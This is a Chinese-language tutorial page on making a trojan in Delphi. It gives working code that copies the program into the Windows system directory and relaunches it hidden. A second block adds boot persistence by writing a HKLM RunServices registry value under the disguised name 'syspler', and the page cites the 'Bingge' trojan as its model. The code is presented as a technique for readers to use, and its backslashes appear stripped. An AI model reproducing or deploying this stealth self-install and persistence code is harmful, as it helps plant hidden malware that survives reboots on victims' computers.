Delphi实现木马自我拷贝方法

时间:2021-05-20

木马实现自我拷贝的原理是程序运行时先查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己拷贝到特定目录下,然后运行新程序,继而退出旧程序.
本例即以Delphi实现木马的自我拷贝。
首先打开Delphi,新建一个工程,在窗口的Create事件中写入如下代码:

procedure TForm1.FormCreate(Sender: TObject);var myname: string;beginmyname := ExtractFilename(Application.Exename); //获得文件名if application.Exename <> GetWindir + myname then //如果文件不是在WindowsSystem那么..begincopyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{将自己拷贝到WindowsSystem下}Winexec(pchar(GetWindir + myname), sw_hide);//运行WindowsSystem下的新文件application.Terminate;//退出end;end;

其中GetWinDir是自定义函数,起功能是找出WindowsSystem的路径.

function GetWinDir: String;varBuf: array[0..MAX_PATH] of char;beginGetSystemDirectory(Buf, MAX_PATH);Result := Buf;if Result[Length(Result)]<>'' then Result := Result + '';end;

如何能使程序能在windows启动时自动启动?

为了程序能在Windows每次启动时自动运行,可以通过以下途径来实现.“冰河”用注册表的方式。
加入Registry单元,改写上面的窗口Create事件,改写后的程序如下:

procedure TForm1.FormCreate(Sender: TObject);const K = 'SoftwareMicrosoftWindowsCurrentVersionRunServices';var myname: string;beginmyname := ExtractFilename(Application.Exename); //获得文件名if application.Exename <> GetWindir + myname then //如果文件不是在WindowsSystem那么..begincopyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//将自己拷贝到Windows/System32下}Winexec(pchar(GetWindir + myname), sw_hide);//运行WindowsSystem下的新文件application.Terminate;//退出end;with TRegistry.Create dotryRootKey := HKEY_LOCAL_MACHINE;OpenKey( K, TRUE );WriteString( 'syspler', application.ExeName );finallyfree;end;end;

声明:本页内容来源网络,仅供用户参考;我单位不保证亦不表示资料全面及准确无误,也不保证亦不表示这些资料为最新信息,如因任何原因,本网内容或者用户因倚赖本网内容造成任何损失或损害,我单位将不会负任何法律责任。如涉及版权问题,请提交至online#300.cn邮箱联系删除。

相关文章